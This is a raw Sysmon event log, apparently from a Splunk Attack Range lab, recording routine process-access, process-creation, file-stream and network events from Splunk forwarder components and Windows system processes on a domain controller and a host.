14:49:19.512{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:19.512{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-706F-613B-090B-00000000F001}7120C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:19.512{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-706F-613B-090B-00000000F001}7120C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:19.512{7BD73061-706F-613B-090B-00000000F001}7120C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:19.434{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0B4EAF461D5D367ECCDD133B5494BEA7,SHA256=EE58601873BDCC5869ECECF18E98248DF90A1B9E51FBCF9B4C4B9D0E94B0B9E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014716Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:19.808{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E048583D98F239160D2C52115CD81C73,SHA256=91BB46E7E340FB1E8AA480C6F4F26D94CFAF849081CCDDA9CF8A9AAAA486E6CF,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014718Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:18.415{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50178-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014717Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:20.824{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D897BA2A935BA74830C6D8EB59A03B51,SHA256=E9D08BECEDF35E0C720D127C74DE1C68274999B9D4373A707C0E055176CF8982,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.871{7BD73061-7070-613B-0B0B-00000000F001}41283864C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.684{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7070-613B-0B0B-00000000F001}4128C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.684{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.684{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.684{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.684{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.684{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7070-613B-0B0B-00000000F001}4128C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.684{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7070-613B-0B0B-00000000F001}4128C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.685{7BD73061-7070-613B-0B0B-00000000F001}4128C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.590{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3C5B0B4535E4D4CB4B73578FC97CB485,SHA256=7C98CECA8FEF7105B5200C4F42B73027BB1DBB30C063F5ED9A9E40659EE886BC,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.434{7BD73061-7070-613B-0A0B-00000000F001}39126260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.184{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7070-613B-0A0B-00000000F001}3912C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.184{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.184{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.184{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.184{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.184{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7070-613B-0A0B-00000000F001}3912C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.184{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7070-613B-0A0B-00000000F001}3912C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:20.184{7BD73061-7070-613B-0A0B-00000000F001}3912C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014719Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:21.824{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E0802919B9C13F37A28D9AE8212C0AA7,SHA256=C3F5E119926B888894D6587BB4B4F174EB507780EF828736C7E6F2E4DC933636,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:21.887{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7071-613B-0C0B-00000000F001}6852C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:21.887{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:21.887{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 